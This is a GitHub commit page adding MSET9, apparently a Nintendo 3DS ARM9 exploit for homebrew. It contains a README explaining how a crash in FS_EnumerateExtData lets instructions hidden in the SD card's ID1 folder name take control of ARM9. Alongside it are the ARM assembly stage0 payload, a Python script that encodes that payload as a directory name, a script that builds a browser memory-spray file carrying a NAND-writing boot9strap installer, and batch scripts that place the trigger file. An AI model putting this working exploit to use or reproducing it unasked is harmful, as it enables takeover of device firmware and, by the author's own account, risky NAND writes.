-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
55 changed files
with
27,419 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
Dear ARM9, | ||
|
||
Please read this and crash while executing FS_EnumerateExtData and jump PC to ID1 and follow further instructions there. | ||
- so we can run some cool homebrew :> | ||
|
||
Thanks, | ||
Mr. Zoogie :) | ||
|
||
PS: yes, this is what triggers the exploit | ||
and yes, it's just a normal text file! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
.arm | ||
.text | ||
.cpu arm946e-s | ||
.arch armv5te | ||
|
||
#define GARBAGE 0x44444444 | ||
|
||
.global _start | ||
start: | ||
|
||
|
||
@ldr sp, =0x22f18000 | ||
@ldr r6, [sp, #0x44] | ||
adds r9, pc, #(1f - . - 8) @ trying to avoid | ||
rorne r8, r9, #16 @ encoding hell | ||
rorne r0, r8, #16 | ||
svc 0x7b | ||
1: | ||
msr cpsr_c, #(0x13 | (1 << 6) | (1 << 7)) @ SVC MODE | NO INTERRUPTS | ||
ldr r1, 1f | ||
mrc p15, 0, r4, c1, c0, 0 | ||
and r4, r4, r1 | ||
mcr p15, 0, r4, c1, c0, 0 | ||
ldr pc, [sp,#0x4C] | ||
1: | ||
.word ~((1 << 0) | (1 << 2) | (1 << 12)) | ||
2: | ||
@.word 0x25d48ae0 | ||
@ .word 0x25c58bc0 | ||
|
||
|
||
.pool | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
HAXNAME := ID1gen | ||
|
||
all: ID1gen.bin | ||
|
||
clean: | ||
rm -f $(HAXNAME).elf $(HAXNAME).bin | ||
|
||
$(HAXNAME).bin: $(HAXNAME).elf | ||
arm-none-eabi-objcopy -O binary $(HAXNAME).elf $(HAXNAME).bin | ||
|
||
$(HAXNAME).elf: $(HAXNAME).s | ||
arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib -Ttext=0x00000000 $< -o $(HAXNAME).elf | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
make clean && make | ||
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,37 @@ | ||
# MSET9 | ||
Ultimate gift of Lenny | ||
|
||
## Thanks | ||
- Luigoalma for some asm help in ID1gen! | ||
|
||
## What it is | ||
This is an ARM9 primary exploit for 3DS that can be launched with only filename data added to the inserted SD card. | ||
|
||
## How does it work | ||
When FS_EnumerateExtData is called by MSET (System Settings) to parse 3DS extdata IDs for Data Managment, a file that starts with 8 hex digits can crash ARM9 if placed directly inside the extdata directory. It can crash in various ways based on subtleties in the way the user triggers the crash event.<br> | ||
|
||
While mostly leading to null derefs, in one specific context, ARM9 jumps directly to the ID1 string being held nearby in ARM9 memory. Serendipitously, the 3DS doesn't discern what characters are used for the ID1 directory name on the SD, only requiring exactly 32 chars. This allows the attacker to insert arm instructions into the unicode ID1 dirname and take control of ARM9, and thus, full control of the 3DS. | ||
|
||
## Can I do it? | ||
-- You need an old3ds, latest firm (new3ds will be coming soon) | ||
-- A spare SD card you can format to blank (this will likely change too, I just don't want people screwing their main sd card up in these early days). | ||
-- Windows PC (this should be expanded after the exploit leaves beta) | ||
|
||
## Directions | ||
In release archive. It may seem long and complex but it really isn't that bad. People who have trouble following directions will struggle though.<br> | ||
There's a lot of room for improvement regarding ease-of-use. | ||
|
||
## FAQ | ||
|
||
Q: This installs boot9strap and writes to NAND?<br> | ||
A: Yes! What else ya gonna do with ARM9 control, a9lh? pastaCFW? :p<br> | ||
Q: That sounds dangerous, Zoogie!<br> | ||
A: Yeah, it kinda is but the scene's been doing this dangerous stuff for years. Just sit out the beta phase if concerned.<br> | ||
Q: Wait, why are you sending my 3DS online with the browser?<br> | ||
A: The ID1 stage0 payload only allows for 0x40 bytes of instructions. Very small. Using the browser to "spray" fcram with a stage1 payload is a practical solution. Still, I'd like to add a completely offline stage1 solution in the future.<br> | ||
Q: So you hacked the browser again Zoogie, nice job!<br> | ||
A: No, no, no, it's just being used for data transport.<br> | ||
Q: That file that triggers the exploit ... it kinda looks like an fcram address?<br> | ||
A: It is. Another convenient fact of that file (besides triggering the overall crash) is that the first 8 chars of that hex filename are converted to a u32 that happens to exist 0x4c past SP, so I can use it in stage0 to jump to the fcram target of my choice without recompiling the ID1 mini payload. It's optional to do that though. I could instead call it F00D43D5 in tribute to a certain other recently RIP'd exploit :p.<br> | ||
Q: You suggested in the hack explanation above that FS_EnumerateExtData is the responsible function for allowing the crash in MSET/ARM9, could this be called in userland homebrew to take over ARM9?<br> | ||
A: Maybe? I briefly played around with this very idea, but was unable to find a crash context that I could control, unlike the pre-userland method described above. Maybe this could be an exercise for the dedicated user to explore and flesh out this potential variant of MSET9! It could be useful down the line.<br> | ||
Fun fact: The 8 digit hex file, if left in extdata, will also crash FBI when selecting the "Ext Save Data" option in its main menu. It's the only homebrew I know that calls FS_EnumerateExtData. |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
cd mini_b9s_installer && make clean && make && cd.. | ||
python build.py | ||
chcp 65001 | ||
del "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐诀◅耀⋱\extdata\88888888" | ||
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
chcp 65001 | ||
copy 88888888 "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐诀◅耀⋱\extdata\88888888" | ||
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
import os,sys,struct | ||
|
||
data=struct.pack("<I", 0xe1a0600f)*(0xe0000//4) | ||
temp=b"var i=0/*aaa" + data + b"*/" | ||
|
||
with open("lenny.js","wb") as f: | ||
f.write(temp) | ||
|
||
with open("mini_b9s_installer/mini_b9s_installer.bin","rb") as f: | ||
#with open("3ds_ropkit2/ropkit.bin","rb") as f: | ||
b9s=f.read() | ||
|
||
mlen=len(temp) | ||
b9slen=len(b9s) | ||
|
||
target=(mlen-b9slen-0x20) & 0xfffffffc | ||
|
||
with open("lenny.js","rb+") as f: | ||
for i in range(0x10000,0xe0000-1,0x20000): | ||
f.seek(i) | ||
f.write(b9s) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
cd ID1gen && make clean && make && cd.. | ||
python id1gen.py | ||
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
import os,sys,struct | ||
from pathvalidate import ValidationError, validate_filename | ||
|
||
with open("ID1gen/ID1gen.bin","rb") as f: #stage0 arm9 instructions generated in this asm project. its purpose is to safely jump to fcram, where our stage1 payload (mini b9s installer) awaits. | ||
raw=f.read(0x40) #id1 provides about 16 arm instructions, not much to work with! | ||
|
||
|
||
for i in range(0, len(raw), 2): #checking for unicode chars/instructions that won't make windows puke. | ||
print("Position offset: 0x%04X" % i) | ||
temp=str(raw[i:i+2], encoding='utf-16le') | ||
try: | ||
validate_filename(temp) | ||
except: | ||
print("Error at position offset: 0x%04X: %02X %02X" % (i,int(raw[i]),int(raw[i+1]))) | ||
|
||
#path=struct.pack("<H", 0x41)*28 | ||
#id1="028600aa641000004e4361720088" | ||
id1= "028600aa641000004e43617200880334" #our arm instruction payload eats away from the back to the front of this string. the hex chars seem to be NOP'd by the arm9. | ||
|
||
path=id1[:32-len(raw)//2]+str(raw,encoding='utf-16le') | ||
|
||
print("length of path: %d" % len(path)) #always be 32 chars | ||
|
||
os.mkdir(path) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
#--------------------------------------------------------------------------------- | ||
.SUFFIXES: | ||
#--------------------------------------------------------------------------------- | ||
|
||
ifeq ($(strip $(DEVKITARM)),) | ||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM") | ||
endif | ||
|
||
TOPDIR ?= $(CURDIR) | ||
include $(DEVKITARM)/base_rules | ||
|
||
#--------------------------------------------------------------------------------- | ||
# TARGET is the name of the output | ||
# BUILD is the directory where object files & intermediate files will be placed | ||
# SOURCES is a list of directories containing source code | ||
# DATA is a list of directories containing data files | ||
# INCLUDES is a list of directories containing header files | ||
#--------------------------------------------------------------------------------- | ||
TARGET := $(notdir $(CURDIR)) | ||
BUILD := build | ||
SOURCES := source source/fatfs source/fatfs/sdmmc | ||
DATA := data | ||
INCLUDES := | ||
|
||
#--------------------------------------------------------------------------------- | ||
# options for code generation | ||
#--------------------------------------------------------------------------------- | ||
ARCH := -march=armv5te -mtune=arm946e-s -marm | ||
|
||
CFLAGS := \ | ||
-g \ | ||
-Os \ | ||
-ffunction-sections \ | ||
-fdata-sections \ | ||
-fomit-frame-pointer \ | ||
-std=gnu11 \ | ||
-Wall \ | ||
-Wno-main \ | ||
-fno-builtin \ | ||
$(ARCH) $(DEFINES) | ||
|
||
CFLAGS += $(INCLUDE) | ||
|
||
ASFLAGS := -g $(ARCH) | ||
LDFLAGS = -specs=$(TOPDIR)/linker.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) | ||
|
||
LIBS := | ||
|
||
#--------------------------------------------------------------------------------- | ||
# list of directories containing libraries, this must be the top level containing | ||
# include and lib | ||
#--------------------------------------------------------------------------------- | ||
LIBDIRS := | ||
|
||
|
||
#--------------------------------------------------------------------------------- | ||
# no real need to edit anything past this point unless you need to add additional | ||
# rules for different file extensions | ||
#--------------------------------------------------------------------------------- | ||
ifneq ($(BUILD),$(notdir $(CURDIR))) | ||
#--------------------------------------------------------------------------------- | ||
|
||
export OUTPUT := $(CURDIR)/$(TARGET) | ||
export TOPDIR := $(CURDIR) | ||
|
||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ | ||
$(foreach dir,$(DATA),$(CURDIR)/$(dir)) | ||
|
||
export DEPSDIR := $(CURDIR)/$(BUILD) | ||
|
||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) | ||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) | ||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) | ||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) | ||
|
||
#--------------------------------------------------------------------------------- | ||
# use CXX for linking C++ projects, CC for standard C | ||
#--------------------------------------------------------------------------------- | ||
ifeq ($(strip $(CPPFILES)),) | ||
#--------------------------------------------------------------------------------- | ||
export LD := $(CC) | ||
#--------------------------------------------------------------------------------- | ||
else | ||
#--------------------------------------------------------------------------------- | ||
export LD := $(CXX) | ||
#--------------------------------------------------------------------------------- | ||
endif | ||
#--------------------------------------------------------------------------------- | ||
|
||
export OFILES_SOURCES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) | ||
|
||
export OFILES_BIN := $(addsuffix .o,$(BINFILES)) | ||
export OFILES := $(OFILES_BIN) $(OFILES_SOURCES) | ||
|
||
export HFILES := $(addsuffix .h,$(subst .,_,$(BINFILES))) | ||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ | ||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \ | ||
-I$(CURDIR)/$(BUILD) | ||
|
||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) | ||
|
||
.PHONY: all clean | ||
|
||
#--------------------------------------------------------------------------------- | ||
all: $(BUILD) $(DEPSDIR) | ||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile | ||
|
||
$(BUILD): | ||
@mkdir -p $@ | ||
|
||
ifneq ($(DEPSDIR),$(BUILD)) | ||
$(DEPSDIR): | ||
@mkdir -p $@ | ||
endif | ||
|
||
#--------------------------------------------------------------------------------- | ||
clean: | ||
@echo clean ... | ||
@rm -fr $(BUILD) $(TARGET).bin $(TARGET).elf | ||
|
||
|
||
#--------------------------------------------------------------------------------- | ||
else | ||
|
||
#--------------------------------------------------------------------------------- | ||
# main targets | ||
#--------------------------------------------------------------------------------- | ||
$(OUTPUT).bin : $(OUTPUT).elf | ||
$(OBJCOPY) -S -O binary $< $@ | ||
@echo built ... $(notdir $@) | ||
|
||
$(OFILES_SOURCES) : $(HFILES) | ||
|
||
$(OUTPUT).elf : $(OFILES) | ||
|
||
%.elf: $(OFILES) | ||
@echo linking $(notdir $@) | ||
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@ | ||
@$(NM) -CSn $@ > $(notdir $*.lst) | ||
|
||
#--------------------------------------------------------------------------------- | ||
# you need a rule like this for each extension you use as binary data | ||
#--------------------------------------------------------------------------------- | ||
%.bin.o %_bin.h : %.bin | ||
#--------------------------------------------------------------------------------- | ||
@echo $(notdir $<) | ||
@$(bin2o) | ||
|
||
-include $(DEPSDIR)/*.d | ||
|
||
#--------------------------------------------------------------------------------------- | ||
endif | ||
#--------------------------------------------------------------------------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
make clean && make | ||
pause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") | ||
OUTPUT_ARCH(arm) | ||
|
||
ENTRY(_start) | ||
SECTIONS | ||
{ | ||
. = 0x23100000; | ||
|
||
__start__ = ABSOLUTE(.); | ||
|
||
.text : ALIGN(4) { *(.text.start) *(.text*); . = ALIGN(4); } | ||
.rodata : ALIGN(4) { *(.rodata*); . = ALIGN(4); } | ||
.bss : ALIGN(8) { __bss_start__ = .; *(.bss* COMMON); . = ALIGN(8); __bss_end__ = .; } | ||
|
||
. = ALIGN(4); | ||
|
||
__end__ = ABSOLUTE(.); | ||
|
||
__stack_top__ = 0x22f00000; | ||
__stack_bottom__ = 0x22ef0000; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
%rename link old_link | ||
|
||
*link: | ||
%(old_link) -T %:getenv(TOPDIR /linker.ld) --nmagic --gc-sections |
Oops, something went wrong.